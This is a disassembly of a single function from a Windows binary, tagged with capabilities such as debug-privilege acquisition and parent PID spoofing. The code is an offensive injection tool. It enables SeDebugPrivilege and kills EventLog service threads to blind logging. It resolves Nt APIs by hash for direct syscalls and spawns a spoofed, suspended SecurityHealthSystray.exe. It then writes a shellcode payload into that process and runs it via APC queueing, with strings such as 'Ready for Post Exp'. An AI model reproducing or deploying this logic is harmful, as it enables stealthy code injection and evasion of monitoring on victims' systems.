Function at 0x1400016c0
Capabilities:
Acquire debug privileges
Resolve function by parsing pe exports
Resume thread
Spoof parent pid

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140022018]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str.___Check_n
call fcn.140001070
call fcn.140006d04
cmp ebx, 2
jge 0x140001724
lea rcx, str.____Wrong__n
call fcn.140001070
mov rdx, qword [rdi]
lea rcx, str._____Syntax:_._s__PPID_to_spoof__n_n
call fcn.140001070
mov eax, 1
jmp 0x140002229
mov rcx, qword [rdi + 8]
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x2d0], rsi
mov r8d, 0xa
mov qword [rsp + 0x2e0], r12
mov qword [rsp + 0x2e8], r13
mov qword [rsp + 0x2a8], r14
mov qword [rsp + 0x2a0], r15
call fcn.140006b78
lea r8, [rbp - 0x80]
movsxd r13, eax
mov edx, 0x20
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor r15d, r15d
test eax, eax
jne 0x140001798
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcessToken___failed____u__n
call fcn.140001070
jmp 0x14000187c
lea r8, [rbp + 0x50]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400017c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____LookupPrivilegeValue_error:___u__n
call fcn.140001070
jmp 0x14000187c
mov rax, qword [rbp + 0x50]
lea r8, [rbp + 0x60]
mov rcx, qword [rbp - 0x80]
mov r9d, 0x10
mov qword [rsp + 0x28], r15
xor edx, edx
mov qword [rbp + 0x64], rax
mov dword [rbp + 0x60], 1
mov dword [rbp + 0x6c], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001818
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____AdjustTokenPrivileges_error:___u__n
call fcn.140001070
jmp 0x14000187c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x140001833
lea rcx, str._n____Alas__token_does_not_have_specified_privilege._n
call fcn.140001070
jmp 0x14000187c
lea rcx, str._n___SeDebugPrivilege_Enabled__n
call fcn.140001070
lea rcx, str._n___Killing_EventLog_Threads__if_running__n
call fcn.140001070
call fcn.140001390
test eax, eax
jne 0x14000185d
lea rcx, str._n___Killed_responsible_svchost.exe_n
jmp 0x140001846
lea rcx, str.____Failed_to_Kill_EventLog_Service_OR__EventLog_Service_NOT_running__n
call fcn.140001070
lea rcx, str._n___Ready_for_Post_Exp_:__n
call fcn.140001070
mov dword [0x140022a40], r15d
mov qword [rsp + 0x50], r15
lea rcx, [rbp + 0x70]
lea rax, [0x14001ebf0]
mov edx, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001891
movups xmm0, xmmword [rax]
movzx eax, byte [rax + 0x10]
mov qword [rbp + 0x48], 0x111
movups xmmword [rcx], xmm0
mov byte [rcx + 0x10], al
xor eax, eax
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x30], 0x70
movabs rax, 0x101000000000
movups xmmword [rbp], xmm0
mov qword [rbp + 0x58], rax
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp + 0xc], 0x80000
movups xmmword [rbp - 0x10], xmm0
mov qword [rsp + 0x60], r15
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rsp + 0x68], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x30]
mov r12, qword [rcx + 0x60]
test r12, r12
jne 0x140001a8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____Unable_to_get_ptr_to_PEB___u__n
call fcn.140001070
mov rsi, r15
movsxd rax, dword [rsi + 0x3c]
mov ebx, r15d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x1400019f8
movabs r10, 0x718cca1f5291f6e7
nop dword [rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x1400019ed
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x1400019d0
cmp rcx, r10
je 0x140001bb2
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x1400019b0
mov rbx, r15
mov rcx, rbx
call fcn.140001130
mov rcx, rbx
movzx r10d, ax
call fcn.1400012b0
movzx ecx, r10w
mov rbx, rax
call fcn.140002250
mov rcx, rbx
call fcn.140002258
lea rax, [fcn.140002271]
mov dword [rbp - 0x60], 0x30
xorps xmm0, xmm0
mov qword [0x140023cc0], rax
lea r9, [rbp - 0x78]
mov qword [rbp - 0x58], r15
lea r8, [rbp - 0x60]
mov dword [rbp - 0x48], r15d
mov edx, 0x80
mov qword [rbp - 0x50], r15
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x78], r13
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x70], r15
call fcn.140002271
test eax, eax
jns 0x140001bd3
mov edx, eax
lea rcx, str.____Failed_in_sysNtOpenProcess__0x_X__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
lea rcx, str._n___Got_pPEB:_Directly_via_offset__from_TIB_____TEB____PEB_n_n
call fcn.140001070
mov r12, qword [r12 + 0x18]
add r12, 0x10
mov r14, qword [r12]
cmp r12, r14
je 0x140001973
nop dword [rax]
movups xmm0, xmmword [r14 + 0x58]
mov rsi, qword [r14 + 0x30]
mov r9d, 0xffffffff
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov ecx, 0xfde9
psrldq xmm0, 8
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
movq r15, xmm0
mov r8, r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.140002330
mov rdi, rax
mov r8, r15
xor eax, eax
xor edx, edx
mov qword [rsp + 0x38], rax
mov ecx, 0xfde9
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
lea r9d, [rax - 1]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsx eax, byte [rdi]
movabs rbx, 0x7734773477347734
test eax, eax
je 0x140001b54
nop word [rax + rax]
imul rbx, rbx, 0x21
cdqe
lea rdi, [rdi + 1]
add rbx, rax
movsx eax, byte [rdi]
test eax, eax
jne 0x140001b40
mov rdx, rbx
lea rcx, str.retrievedhash:_0x_llX_n
call fcn.140001070
mov r8, rsi
lea rcx, str.BaseDllName:__ws__addr:__p__n_n
mov rdx, r15
call fcn.140001070
movabs rax, 0x4fd1cd7bbe06fcfc
cmp rbx, rax
je 0x140001b9b
mov r14, qword [r14]
mov r15d, 0
cmp r12, r14
jne 0x140001ab0
jmp 0x140001973
mov rdx, rax
lea rcx, str.Hashed_dll_matched_and_calculated_as:_0x_llX_n_n
call fcn.140001070
xor r15d, r15d
jmp 0x140001976
mov rdx, r10
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.140001070
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x1400019fb
cmp qword [rsp + 0x60], 0
je 0x1400021f8
lea rcx, str._t__Called_sysNtOpenProcess_n
call fcn.140001070
xor r8d, r8d
mov qword [rsp + 0x58], r15
lea r9, [rsp + 0x58]
xor ecx, ecx
lea edx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
mov qword [rbp + 0x38], rax
lea edx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp + 0x38]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov rcx, qword [rbp + 0x38]
lea r9, [rbp + 0x58]
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
mov r8d, 0x20007
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.SuspendThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateProcessA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rbp - 0x30]
xor edx, edx
mov qword [rsp + 0x40], rcx
lea rcx, str.c:windows_system32SecurityHealthSystray.exe
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], r15d
call rax
test eax, eax
jne 0x140001d20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_Spawn_Sacrificial_process___u__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
mov r8d, dword [rsp + 0x78]
lea rdx, str.c:windows_system32SecurityHealthSystray.exe
lea rcx, str._n___Spawning_Sacrificial_Process:__s__PID:__d_..._n_n
call fcn.140001070
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov rcx, r12
call rbx
call fcn.140006d04
movsxd rax, dword [rsi + 0x3c]
xor r13d, r13d
mov ebx, r13d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140001dd8
movabs r10, 0xf5bd373480a6b89b
nop word [rax + rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x140001dcd
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140001db0
cmp rcx, r10
je 0x140001e51
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140001d90
mov rbx, r13
mov rcx, rbx
call fcn.140001130
mov rcx, rbx
movzx r10d, ax
call fcn.1400012b0
movzx ecx, r10w
mov rbx, rax
call fcn.140002250
mov rcx, rbx
call fcn.140002258
lea rax, [fcn.140002282]
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x48]
mov qword [0x140023cb8], rax
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x50]
mov rcx, r15
call fcn.140002282
test eax, eax
jns 0x140001e72
mov edx, eax
lea rcx, str.____Failed_in_sysNtAllocateVirtualMemory__0x_X__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
mov rdx, r10
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.140001070
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x140001ddb
lea rcx, str._t__Called_sysNtAllocateVirtualMemory_n
call fcn.140001070
movsxd rax, dword [rsi + 0x3c]
mov ebx, r13d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140001f04
movabs r10, 0x68a3c2ba486f0741
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x140001ef9
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140001ee0
cmp rcx, r10
je 0x140001f75
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140001ec0
mov rbx, r13
mov rcx, rbx
call fcn.140001130
mov rcx, rbx
movzx r10d, ax
call fcn.1400012b0
movzx ecx, r10w
mov rbx, rax
call fcn.140002250
mov rcx, rbx
call fcn.140002258
mov rdx, qword [rsp + 0x50]
lea rax, [fcn.140002293]
mov r9d, 0x111
mov qword [0x140023ca8], rax
lea r8, [rbp + 0x70]
mov qword [rsp + 0x20], r13
mov rcx, r15
call fcn.140002293
test eax, eax
jns 0x140001f96
mov edx, eax
lea rcx, str.____Failed_in_sysNtWriteVirtualMemory__0x_X__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
mov rdx, r10
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.140001070
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x140001f07
lea rcx, str._t__Called_sysNtWriteVirtualMemory_n
call fcn.140001070
mov dword [rbp + 0x40], r13d
mov ebx, r13d
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140002028
movabs r10, 0x858bcb1046fb6a37
nop dword [rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x14000201d
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140002000
cmp rcx, r10
je 0x14000209d
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140001fe0
mov rbx, r13
mov rcx, rbx
call fcn.140001130
mov rcx, rbx
movzx r10d, ax
call fcn.1400012b0
movzx ecx, r10w
mov rbx, rax
call fcn.140002250
mov rcx, rbx
call fcn.140002258
lea rax, [fcn.1400022b5]
mov r9d, 0x20
mov qword [0x140023cb0], rax
lea r8, [rbp + 0x48]
lea rax, [rbp + 0x40]
mov rcx, r15
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call fcn.1400022b5
test eax, eax
jns 0x1400020be
mov edx, eax
lea rcx, str.____Failed_in_sysNtProtectVirtualMemory__0x_X__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
mov rdx, r10
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.140001070
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x14000202b
lea rcx, str._t__Called_sysNtProtectVirtualMemory_n
call fcn.140001070
movsxd rax, dword [rsi + 0x3c]
mov ebx, r13d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140002145
movabs r10, 0x7073ed9f921a0267
mov edx, dword [r8]
movabs rax, 0x7734773477347734
add rdx, rsi
movsx ecx, byte [rdx]
test ecx, ecx
je 0x14000213a
nop word [rax + rax]
imul rax, rax, 0x21
movsxd rcx, ecx
lea rdx, [rdx + 1]
add rax, rcx
movsx ecx, byte [rdx]
test ecx, ecx
jne 0x140002120
cmp rax, r10
je 0x1400021af
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140002100
mov rbx, r13
mov rcx, rbx
call fcn.140001130
mov rcx, rbx
movzx r10d, ax
call fcn.1400012b0
movzx ecx, r10w
mov rbx, rax
call fcn.140002250
mov rcx, rbx
call fcn.140002258
mov rdx, qword [rsp + 0x50]
lea rax, [fcn.1400022e8]
mov r8, rdx
mov qword [0x140023cc8], rax
xor r9d, r9d
mov dword [rsp + 0x20], r13d
mov rcx, r12
call fcn.1400022e8
test eax, eax
jns 0x1400021d0
mov edx, eax
lea rcx, str.____Failed_in_sysNtQueueApcThread__0x_X__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
mov rdx, r10
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.140001070
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x140002148
lea rcx, str._t__Called_sysNtQueueApcThread_n
call fcn.140001070
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1400021ff
lea rcx, str.____Failed_to_resume_thread__n
call fcn.140001070
mov eax, 1
jmp 0x140002201
xor eax, eax
mov r14, qword [rsp + 0x2a8]
mov r13, qword [rsp + 0x2e8]
mov r12, qword [rsp + 0x2e0]
mov rsi, qword [rsp + 0x2d0]
mov r15, qword [rsp + 0x2a0]
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.140002310
add rsp, 0x2b0
pop rdi
pop rbx
pop rbp
ret